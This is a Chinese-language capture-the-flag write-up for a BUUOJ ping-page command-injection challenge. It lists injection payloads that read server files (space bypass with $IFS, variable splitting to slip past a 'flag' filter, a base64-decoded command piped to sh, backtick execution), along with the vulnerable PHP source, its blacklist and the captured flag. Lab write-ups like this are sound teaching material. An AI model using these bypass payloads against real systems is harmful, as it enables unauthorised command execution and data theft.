观察题目:
页面:
/?ip=
主网址:
http://09703780-fff4-4a8d-be6c-496d349f5c74.node3.buuoj.cn/
解题:
扫描目录:
?ip=127.0.0.1;ls
>>
flag.php
index.php
尝试读文件:
?ip=127.0.0.1;cat%20flag.php
>>
/?ip= 1fxck your space!
屏蔽了空格
替换空格:
?ip=127.0.0.1;cat$IFS$1flag.php //fxck your flag!
?ip=127.0.0.1;cat$IFSflag.php //fxck your flag!
?ip=127.0.0.1;cat${IFS}flag.php //1fxck your symbol! 过滤{或}
查看php代码:
?ip=127.0.0.1;cat$IFS$1index.php
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
<!--?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\-->|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
</pre>
总结:
过滤的特殊字符:& / ? * < ' " \ () [] {}
"xxxfxxxlxxxaxxxgxxx" " " "bash"
处理”flag“字符串
//参数替换方法
?ip=127.0.0.1;t=f;cat$IFS$1$tlag.php (x) //a=f.....lag.php被匹配了
?ip=127.0.0.1;t=l;cat$IFS$1f$tag.php (x) //未匹配flag但是也没有回显
?ip=127.0.0.1;t=a;cat$IFS$1fl$tg.php (x) //未匹配flag但是也没有回显
?ip=127.0.0.1;t=g;cat$IFS$1fla$t.php (√)
//尝试用bash
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
//?ip= fxck your bash!
//bash被过滤了,用管道+sh替换
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//内联执行方法
?ip=127.0.0.1;cat$IFS$9`ls`
取得flag:
flag{d807e4e6-f534-4662-ad95-6d4d57015391}